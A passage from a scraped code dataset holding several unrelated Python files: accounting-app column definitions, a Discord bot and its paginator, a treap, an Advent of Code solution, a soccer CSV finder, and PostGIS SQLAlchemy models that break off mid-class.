'data_type' : 'INT',\n 'short_descr': 'Deleted id',\n 'long_descr' : 'Deleted row id',\n 'col_head' : 'Deleted',\n 'key_field' : 'N',\n 'data_source': 'gen',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': False,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : '0',\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'table_id',\n 'data_type' : 'INT',\n 'short_descr': 'Table id',\n 'long_descr' : 'Table id',\n 'col_head' : 'Table',\n 'key_field' : 'A',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': False,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : ['db_tables', 'row_id', 'table_name', 'table_name', True, None],\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'col_name',\n 'data_type' : 'TEXT',\n 'short_descr': 'Column name',\n 'long_descr' : 'Column name',\n 'col_head' : 'Column',\n 'key_field' : 'A',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': False,\n 'max_len' : 20,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'col_type',\n 'data_type' : 'TEXT',\n 'short_descr': 'Column type',\n 'long_descr' : 'Column type',\n 'col_head' : 'Col type',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': False,\n 'max_len' : 5,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : 'sys',\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : [\n ['sys', 'System column'],\n ['virt', 'Virtual column'],\n ['user', 'User-defined column'],\n ],\n })\ncols.append ({\n 'col_name' : 'seq',\n 'data_type' : 'INT',\n 'short_descr': 'Seq',\n 'long_descr' : 'Position for display',\n 'col_head' : 'Seq',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'data_type',\n 'data_type' : 'TEXT',\n 'short_descr': 'Data type',\n 'long_descr' : 'Data type',\n 'col_head' : 'Data type',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': [\n ['where', '', 'table_id>table_created', 'is', '$False', ''],\n ],\n 'max_len' : 5,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : 'TEXT',\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : [\n ['AUTO', 'Generated key'],\n ['AUT0', 'Gen key start from 0'],\n ['TEXT', 'Text'],\n ['PWD', 'Password'],\n ['INT', 'Integer'],\n ['DEC', 'Decimal'],\n ['$QTY', 'Quantity'],\n ['$TRN', 'Transaction currency'],\n ['$PTY', 'Party currency'],\n ['$LCL', 'Local currency'],\n ['$RQTY', 'Reversible quantity'],\n ['$RTRN', 'Reversible transaction currency'],\n ['$RPTY', 'Reversible party currency'],\n ['$RLCL', 'Reversible local currency'],\n ['DTE', 'Date'],\n ['DTM', 'Timestamp'],\n ['BOOL', 'Boolean (Y/N)'],\n ['JSON', 'Json'],\n ['XML', 'Xml'],\n ['SXML', 'Xml string'],\n ['FXML', 'Form definition'],\n ['PXML', 'Process definition'],\n ['RXML', 'Report definition'],\n ],\n })\ncols.append ({\n 'col_name' : 'short_descr',\n 'data_type' : 'TEXT',\n 'short_descr': 'Short description',\n 'long_descr' : 'Column description',\n 'col_head' : 'Description',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': True,\n 'max_len' : 30,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'long_descr',\n 'data_type' : 'TEXT',\n 'short_descr': 'Long description',\n 'long_descr' : 'Full description for user manual, tool-tip, etc',\n 'col_head' : 'Long description',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'col_head',\n 'data_type' : 'TEXT',\n 'short_descr': 'Column heading',\n 'long_descr' : 'Column heading for reports and grids',\n 'col_head' : 'Col head',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : True,\n 'allow_amend': True,\n 'max_len' : 30,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'key_field',\n 'data_type' : 'TEXT',\n 'short_descr': 'Key field',\n 'long_descr' : 'Yes=primary key, Alt=alternate key, No=not key field',\n 'col_head' : 'Key',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': [\n ['where', '', 'table_id>table_created', 'is', '$False', ''],\n ],\n 'max_len' : 1,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : 'N',\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : [\n ['N', 'No'],\n ['Y', 'Yes'],\n ['A', 'Alt'],\n ['B', '2nd alt'],\n ],\n })\ncols.append ({\n 'col_name' : 'data_source',\n 'data_type' : 'TEXT',\n 'short_descr': 'Data source',\n 'long_descr' : 'Data source',\n 'col_head' : 'Data source',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : [\n ['input', 'Input by user'],\n ['gen', 'Row id generated by database'],\n ['seq', 'Auto generated sequence number'],\n ['par_con', 'Constant derived from parent'],\n ['par_id', 'Row id derived from parent'],\n ['aggr', 'Aggregated total'],\n ['repl', 'Replicated for performance'],\n ['prog', 'Generated programmatically'],\n ['calc', 'Calculated from business rule'],\n ['proc', 'Updated from business process'],\n ['ret_sub', 'Returned from subtran'],\n ['ret_split', 'Returned from split source'],\n ['ctx', 'Get ledger_row_id from context'],\n ['null_if', 'Null if condition else input'],\n ['dflt_if', 'Dflt if condition else input'],\n ],\n })\ncols.append ({\n 'col_name' : 'condition',\n 'data_type' : 'JSON',\n 'short_descr': 'Condition',\n 'long_descr' : (\n # 'Can be True, False, or a condition to evaluate. '\n # 'Always True if col_type = \"virt \". '\n # 'If True and not \"virt\", amendment not allowed. '\n # 'If True and not \"virt\", re-evaluated on save in setup_defaults(). '\n # 'If True and not \"virt\", set amend_ok to False on client. '\n # 'If True, do not include in WSDL. '\n 'Is a data value required depending on a condition?\\n'\n 'If data_source ends in \\'_if\\', condition is required, else it must be blank.\\n'\n 'N.B. condition should not include a reference to a field in this object.\\n'\n ' It should be evaluated for each instance, but will only be evaluated once.\\n'\n ' [TODO] Add validation to prevent this from being included.\\n'\n ),\n 'col_head' : 'Condition',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : True,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : [\n ['cond_reqd', 'Condition required', [\n ['check', '(', \"'_if'\", 'in', 'data_source', ''],\n ['and', '', '$value', 'is not', '$None', ')'],\n ['or', '', \"'_if'\", 'not in', 'data_source', ''],\n ]],\n ['cond_blank', 'Condition must be blank', [\n ['check', '(', \"'_if'\", 'not in', 'data_source', ''],\n ['and', '', '$value', 'is', '$None', ')'],\n ['or', '', \"'_if'\", 'in', 'data_source', ''],\n ]],\n ],\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'allow_null',\n 'data_type' : 'BOOL',\n 'short_descr': 'Allow null?',\n 'long_descr' : 'Allow column to contain null?',\n 'col_head' : 'Null?',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'allow_amend',\n 'data_type' : 'JSON',\n 'short_descr': 'Allow amendment?',\n 'long_descr' : (\n 'Allow column to be amended?\\n'\n 'Can be True, False, or a condition to evaluate.\\n'\n 'If False, it means that a user cannot amend the field.\\n'\n 'Ignored if \\'calculated\\' is True - the field will be evaluated automatically on save.\\n'\n 'Calculated is True if data_source = \\'calc\\' or condition is not None and evaluates to True.\\n'\n ),\n 'col_head' : 'Amend?',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : 'false',\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'max_len',\n 'data_type' : 'INT',\n 'short_descr': 'Maximum length',\n 'long_descr' : 'Maximum length for text field - zero means unlimited',\n 'col_head' : 'Max len',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : '0',\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'db_scale',\n 'data_type' : 'INT',\n 'short_descr': 'Decimal places in database',\n 'long_descr' : 'Number of decimal places as defined in database',\n 'col_head' : 'Db scale',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': [\n ['where', '', 'table_id>table_created', 'is', '$False', ''],\n ],\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : '0',\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'scale_ptr',\n 'data_type' : 'TEXT',\n 'short_descr': 'Column with scale factor',\n 'long_descr' : 'Column to define number of decimals allowed',\n 'col_head' : 'Scale ptr',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : True,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'dflt_val',\n 'data_type' : 'TEXT',\n 'short_descr': 'Default definition',\n 'long_descr' : 'Default definition',\n 'col_head' : 'Default',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : True,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'dflt_rule',\n 'data_type' : 'SXML',\n 'short_descr': 'Rule to derive default value',\n 'long_descr' : 'Rule to derive default value',\n 'col_head' : 'Default rule',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : True,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'col_checks',\n 'data_type' : 'JSON',\n 'short_descr': 'Column checks',\n 'long_descr' : 'Column checks',\n 'col_head' : 'Checks',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : True,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'fkey',\n 'data_type' : 'JSON',\n 'short_descr': 'Foreign key',\n 'long_descr' : 'Foreign key',\n 'col_head' : 'Fkey',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : True,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'choices',\n 'data_type' : 'JSON',\n 'short_descr': 'Choices',\n 'long_descr' : 'List of valid choices',\n 'col_head' : 'Choices',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : True,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'sql',\n 'data_type' : 'TEXT',\n 'short_descr': 'Sql statement',\n 'long_descr' : 'Sql statement to return value',\n 'col_head' : 'Sql',\n 'key_field' : 'N',\n 'data_source': 'input',\n 'condition' : None,\n 'allow_null' : True,\n 'allow_amend': True,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\n\n# virtual column definitions\nvirt = []\n\n# cursor definitions\ncursors = []\n\n# actions\nactions = []\nactions.append([\n 'upd_checks', [\n [\n 'check_not_null',\n 'Cannot disallow null - NULLs are present',\n [\n ['check', '', 'allow_null', 'pyfunc', 'db.checks.check_not_null', ''],\n ],\n ],\n ],\n ])\nactions.append([\n 'after_insert', (\n ''\n ''\n ''\n ''\n ''\n )\n ])\nactions.append([\n 'after_update', ''\n ])\n","repo_name":"FrankMillman/AccInABox","sub_path":"aib/init/tables/db_columns.py","file_name":"db_columns.py","file_ext":"py","file_size_in_byte":17931,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"73670941317","text":"from discord.ext import commands\nimport cogs._secrets as secrets\nimport discord\nimport os\nimport traceback\n\n\nbot = commands.Bot(command_prefix=secrets.prefix, case_insensitive=True) # help_command=None,\n\n@bot.event\nasync def on_ready():\n await bot.change_presence(activity=discord.Streaming(platform='YouTube',name='Fight Club',game='Fight Club',url='https://www.youtube.com/watch?v=_pQ9XOPYvIk'))\n print(\"Bot is ready!\")\n\n@bot.event\nasync def on_command_error(ctx,error):\n errorchan = await bot.fetch_channel(secrets.error_chanid)\n await errorchan.send(f\"ERROR\\n```\\n{error}\\n\\n {traceback.format_exc()}```\")\n \n\n\n\nif __name__ == '__main__':\n # When running this file, if it is the 'main' file\n # i.e. its not being imported from another python file run this\n for file in os.listdir(\"cogs/\"):\n if file.endswith(\".py\") and not file.startswith(\"_\"):\n bot.load_extension(f\"cogs.{file[:-3]}\")\n bot.run(token=secrets.bot_token)\n","repo_name":"jsmsj/Flight-Club-Public","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26637839606","text":"import asyncio\nfrom typing import Optional\n\nimport discord\n\n\nclass Paginator:\n\n __slots__ = (\n \"embeds\",\n \"timeout\",\n \"ordered\",\n \"controls\",\n \"controller\",\n \"pages\",\n \"current\",\n \"previous\",\n \"eof\",\n \"base\",\n \"names\",\n )\n\n def __init__(self, **kwargs) -> None:\n self.embeds = kwargs.get(\"embeds\", None)\n\n self.timeout = kwargs.get(\"timeout\", 90)\n self.ordered = kwargs.get(\"ordered\", False)\n\n self.controller = None\n self.pages: list[discord.Embed] = []\n self.base: Optional[discord.Message] = None\n\n self.current = 0\n self.previous = 0\n self.eof = 0\n\n self.controls = {\n \"⏮\": 0.0,\n \"◀\": -1,\n \"⏹\": \"stop\",\n \"▶\": +1,\n \"⏭\": None,\n }\n\n async def indexer(self, ctx, ctrl: str) -> None:\n if self.base is None:\n raise Exception(\"Should not be called manually\")\n if ctrl == \"stop\":\n ctx.bot.loop.create_task(self.stop_controller(self.base))\n\n elif isinstance(ctrl, int):\n self.current += ctrl\n if self.current > self.eof or self.current < 0:\n self.current -= ctrl\n else:\n self.current = int(ctrl)\n\n async def reaction_controller(self, ctx) -> None:\n bot = ctx.bot\n author = ctx.author\n\n self.base = await ctx.send(embed=self.pages[0])\n\n if len(self.pages) == 1:\n await self.base.add_reaction(\"⏹\")\n else:\n for reaction in self.controls:\n try:\n await self.base.add_reaction(reaction)\n except discord.HTTPException:\n return\n\n def check(r: discord.Reaction, u: discord.User) -> bool:\n if str(r) not in self.controls.keys():\n return False\n elif u.id == bot.user.id or r.message.id != self.base.id:\n return False\n elif u.id != author.id:\n return False\n return True\n\n while True:\n try:\n react, user = await bot.wait_for(\n \"reaction_add\", check=check, timeout=self.timeout\n )\n except asyncio.TimeoutError:\n return ctx.bot.loop.create_task(self.stop_controller(self.base))\n\n control = self.controls.get(str(react))\n\n try:\n await self.base.remove_reaction(react, user)\n except discord.HTTPException:\n pass\n\n self.previous = self.current\n await self.indexer(ctx, control)\n\n if self.previous == self.current:\n continue\n\n try:\n await self.base.edit(embed=self.pages[self.current])\n except KeyError:\n pass\n\n async def stop_controller(self, message: discord.Message) -> None:\n try:\n await message.delete()\n except discord.HTTPException:\n pass\n\n try:\n self.controller.cancel()\n except Exception:\n pass\n\n async def paginate(self, ctx):\n if self.embeds:\n self.pages = [p for p in self.embeds if isinstance(p, discord.Embed)]\n\n if not self.pages:\n raise ValueError(\n \"There must be enough data to create at least 1 page for pagination.\"\n )\n\n self.eof = float(len(self.pages) - 1)\n self.controls[\"⏭\"] = self.eof\n self.controller = ctx.bot.loop.create_task(self.reaction_controller(ctx))\n","repo_name":"starspritechippy/autochip","sub_path":"utils/paginator.py","file_name":"paginator.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25322238616","text":"from sys import stdin, stdout\nfrom random import randint\n\n\nclass Node:\n\n\tdef __init__(self, value, prior):\n\t\tself.value = value\n\t\tself.prior = prior\n\t\tself.left = None\n\t\tself.right = None\n\n\nclass Tree:\n\n\tMAX_PRIOR = 10 ** 7\n\n\tdef __init__(self):\n\t\tself.root = None\n\n\tdef split(self, node, x):\n\t\tif node is None:\n\t\t\treturn None, None\n\t\tif node.value > x:\n\t\t\tleft, right = self.split(node.left, x)\n\t\t\tnode.left = right\n\t\t\treturn left, node\n\t\telse:\n\t\t\tleft, right = self.split(node.right, x)\n\t\t\tnode.right = left\n\t\t\treturn node, right\n\n\tdef merge(self, left, right):\n\t\tif left is None:\n\t\t\treturn right\n\t\tif right is None:\n\t\t\treturn left\n\t\tif left.prior > right.prior:\n\t\t\tleft.right = self.merge(left.right, right)\n\t\t\treturn left\n\t\telse:\n\t\t\tright.left = self.merge(left, right.left)\n\t\t\treturn right\n\n\tdef exists(self, node, value):\n\t\tif node is None:\n\t\t\tresult = 'false'\n\t\telif node.value == value:\n\t\t\tresult = 'true'\n\t\telif node.value > value:\n\t\t\tresult = self.exists(node.left, value)\n\t\telse:\n\t\t\tresult = self.exists(node.right, value)\n\t\treturn result\n\n\tdef prev(self, value):\n\t\tprev = None\n\t\tcur = self.root\n\t\twhile cur is not None:\n\t\t\tif cur.value >= value:\n\t\t\t\tcur = cur.left\n\t\t\telse:\n\t\t\t\tprev = cur\n\t\t\t\tcur = cur.right\n\t\tif prev is None:\n\t\t\tresult = 'none'\n\t\telse:\n\t\t\tresult = str(prev.value)\n\t\treturn result\n\n\tdef next(self, value):\n\t\tnext = None\n\t\tcur = self.root\n\t\twhile cur is not None:\n\t\t\tif cur.value <= value:\n\t\t\t\tcur = cur.right\n\t\t\telse:\n\t\t\t\tnext = cur\n\t\t\t\tcur = cur.left\n\t\tif next is None:\n\t\t\tresult = 'none'\n\t\telse:\n\t\t\tresult = str(next.value)\n\t\treturn result\n\n\tdef insert(self, node, value, prior):\n\t\tif node is None:\n\t\t\tnode = Node(value, prior)\n\t\telif node.prior <= prior:\n\t\t\tif self.exists(node, value) != 'true':\n\t\t\t\tleft, right = self.split(node, value)\n\t\t\t\tnode = Node(value, prior)\n\t\t\t\tnode.left = left\n\t\t\t\tnode.right = right\n\t\telif node.value > value:\n\t\t\tnode.left = self.insert(node.left, value, prior)\n\t\telif node.value < value:\n\t\t\tnode.right = self.insert(node.right, value, prior)\n\t\treturn node\n\n\tdef delete(self, node, value):\n\t\tif node is None:\n\t\t\treturn None\n\t\tif node.value > value:\n\t\t\tnode.left = self.delete(node.left, value)\n\t\telif node.value < value:\n\t\t\tnode.right = self.delete(node.right, value)\n\t\telif node.value == value:\n\t\t\tnode = self.merge(node.left, node.right)\n\t\treturn node\n\n\ntree = Tree()\nfor row in stdin:\n\trow = row.split(' ')\n\tif row[0] == 'insert':\n\t\ttree.root = tree.insert(tree.root, int(row[1]), randint(0, tree.MAX_PRIOR))\n\telif row[0] == 'delete':\n\t\ttree.root = tree.delete(tree.root, int(row[1]))\n\tif row[0] == 'exists':\n\t\tstdout.write(str(tree.exists(tree.root, int(row[1]))) + '\\n')\n\tif row[0] == 'prev':\n\t\tstdout.write(tree.prev(int(row[1])) + '\\n')\n\tif row[0] == 'next':\n\t\tstdout.write(tree.next(int(row[1])) + '\\n')\n\t\t","repo_name":"IVyazmin/MADE_algoritms","sub_path":"HW_9/Task_A.py","file_name":"Task_A.py","file_ext":"py","file_size_in_byte":2778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38972918001","text":"# Day Eight of Advent of Code\n# Author - Tung Phung\n# Date 12/8/2019\n\n# Imports\nimport os, sys\n\ndef grab_layer(height, width, main_list):\n sub = main_list[0:height*width]\n main_list = main_list[height*width:]\n x = sub.count('0')\n y = sub.count('1')\n z = sub.count('2')\n return x, (y,z), main_list\n\ndef layer_only(height, width, main_list):\n sub = main_list[0:height*width]\n main_list = main_list[height*width:]\n return sub, main_list\n\n# Main Method\nif __name__ == \"__main__\":\n \n width = 25\n height = 6\n \n total_list = []\n final_pixel_list = []\n # Open file and read lines \n with open(\"dayeightinput.txt\", \"r\") as f:\n data = list(f.read().strip())\n\n len_data = len(data)\n while(len(data) > 0):\n layer, data = layer_only(height, width, data)\n total_list.append(layer)\n \n for x in range(len(total_list[0])):\n for y in range(len(total_list)):\n if(total_list[y][x]=='2'):\n continue\n elif(total_list[y][x]=='1'):\n final_pixel_list.append(\"*\")\n break\n elif(total_list[y][x]=='0'): \n final_pixel_list.append(\" \")\n break\n \n print(\"\".join(final_pixel_list[:25]))\n print(\"\".join(final_pixel_list[25:50]))\n print(\"\".join(final_pixel_list[50:75]))\n print(\"\".join(final_pixel_list[75:100]))\n print(\"\".join(final_pixel_list[100:125]))\n print(\"\".join(final_pixel_list[125:150]))\n","repo_name":"TungPhung/AdventOfCode2019","sub_path":"Day8/dayeightpt2.py","file_name":"dayeightpt2.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"32696222547","text":"__author__ = 'Edward'\nimport glob, os\n\n# FIXXXMEEEEEEEE\n# Requires: Nothing\n# Modifies : Nothing\n# Effects : Search for all the .csv file and then it will return\n# a list of the path to the data of different leagues\n# Method : we need to go into different folders in search of the\n# data. One way we can do this is to use recursive.as\n# So if they found a directory, go in and then recursive\n# Method 2 : Another way we can do is to ascertain whether there is\n# a specific pattern in the path and then go in and then\n# find the csv files\n# ANOTHER PROBLEM: SOME OF THE LEAGUES DOES NOT HAVE A FIXED IE\n# ENGLAND 1880S have an extra \"round\" input\ndef searchFile():\n csvFiles = list()\n leagueInfo = list()\n for dirname, dirnames, filenames in os.walk('soccer_data/'):\n #for subdirname in dirnames:\n #print(os.path.join(dirname,subdirname))\n\n for filename in filenames:\n pass\n filePath = os.path.join(dirname,filename)\n\n if filePath[-3:] == \"csv\":\n csvFiles.append(filePath)\n newArray = [filePath]\n\n if '.git' in dirnames:\n dirnames.remove('.git')\n\n for x in range(len(csvFiles)):\n\n newArray = csvFiles[x].split(\"\\\\\")\n #if the csv files is not \"teams.csv\"\n if newArray[len(newArray) - 1] != \"teams.csv\":\n league = newArray[1]\n year = newArray[-2]\n leagueName = newArray[-1]\n newNewArray = [league, year, leagueName, csvFiles[x]]\n leagueInfo.append(newNewArray)\n\n\n return leagueInfo","repo_name":"ExtremelySeriousChicken/FootballStats","sub_path":"fileSearcher.py","file_name":"fileSearcher.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"30836803087","text":"\"\"\"Module containing the database\"\"\"\nimport os\nimport psycopg2\n\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker, relationship\nfrom sqlalchemy import create_engine, Table, Column, Integer, Float, String,\\\n DateTime, ForeignKey, select, func, inspect, event\nfrom sqlalchemy.types import TypeDecorator\nfrom sqlalchemy.ext.compiler import compiles\nfrom sqlalchemy.sql.expression import Insert\nfrom sqlalchemy.ext.hybrid import hybrid_property\nfrom sqlalchemy_utils import database_exists, create_database\n\nfrom geoalchemy2 import Geometry\nfrom geoalchemy2.shape import to_shape\nfrom geojson import Feature\n\n\nfrom config import POSTGIS_URL\n\nBase = declarative_base()\n\n\ndef get_db_engine():\n return create_engine(POSTGIS_URL, echo=False)\n\n\ndef get_db_session():\n engine = get_db_engine()\n Session = sessionmaker(bind=engine)\n return Session()\n\n\nsession = get_db_session()\n\n\ndef sql_alch_commit(model):\n session = get_db_session()\n session.add(model)\n session.commit()\n\ndef create_postgis_db(engine):\n create_database(url=engine.url)\n conn = psycopg2.connect(dbname=os.environ['DB_NAME'],\n user=os.environ['DB_USER'],\n password=os.environ['DB_PW'],\n host=os.environ['DB_HOST'],\n port=os.environ['DB_PORT'])\n cursor = conn.cursor()\n cursor.execute('CREATE EXTENSION postgis')\n conn.commit()\n cursor.close()\n conn.close()\n\ndef create_tables(engine, Base):\n Base.metadata.drop_all(engine)\n Base.metadata.create_all(engine)\n \n # check tables exists\n ins = inspect(engine)\n for _t in ins.get_table_names():\n print(_t)\n\n@compiles(Insert)\ndef prefix_inserts(insert, compiler, **kw):\n \"\"\"\n set every insert to ON CONFLICT DO NOTHING for efficient skipping op double items\n \"\"\"\n return compiler.visit_insert(insert, **kw) + \" ON CONFLICT DO NOTHING\"\n\n\nclass CentroidFromPolygon(TypeDecorator):\n '''\n Calculate the centroid points of each Polygon on insert.\n Reprojects to equal area proj CRS:3035 for accurate calculation.\n '''\n impl = Geometry\n cache_ok = True\n\n def bind_expression(self, bindvalue):\n return self.impl.bind_expression(bindvalue).ST_Transform(3035)\\\n .ST_Centroid()\\\n .ST_Transform(4326)\n\n\nclass Satellite(Base):\n __tablename__ = 'satellites'\n id = Column(String(50), primary_key=True, index=True)\n name = Column(String(50), nullable=False, index=True)\n pixel_res = Column(Float)\n\n sat_images = relationship('SatImage',\n backref='satellites',\n lazy='joined'\n )\n items = relationship('ItemType',\n backref='satellites',\n lazy='joined'\n )\n\n\nclass SatImage(Base):\n __tablename__ = 'sat_images'\n id = Column(String(50), primary_key=True, index=True)\n clear_confidence_percent = Column(Float)\n cloud_cover = Column(Float, nullable=False, index=True)\n time_acquired = Column(DateTime, nullable=False, index=True)\n geom = Column(Geometry(srid=4326, spatial_index=True), nullable=False)\n centroid = Column(CentroidFromPolygon(\n srid=4326, geometry_type='POINT', nullable=False, spatial_index=True))\n sat_id = Column(String(50), ForeignKey('satellites.id'), nullable=False)\n item_type_id = Column(String(50), ForeignKey(\n 'item_types.id'), nullable=False)\n\n land_cover_class = relationship(\n 'LandCoverClass',\n primaryjoin='func.ST_Intersects(foreign(SatImage.geom), remote(LandCoverClass.geom)).as_comparison(1,2)',\n backref='sat_image',\n lazy='select',\n viewonly=True,\n uselist=True)\n\n\n\n @hybrid_property\n def sat_name(self):\n return session.scalar(self.satellites.name)\n\n @sat_name.expression\n def sat_name(cls):\n return cls.satellites.name\n\n @hybrid_property\n def lon(self):\n return session.scalar(self.centroid.ST_X())\n\n @lon.expression\n def lon(cls):\n return cls.centroid.ST_X()\n\n @hybrid_property\n def lat(self):\n return session.scalar(self.centroid.ST_Y())\n\n @lat.expression\n def lat(cls):\n return cls.centroid.ST_Y()\n\n @hybrid_property\n def 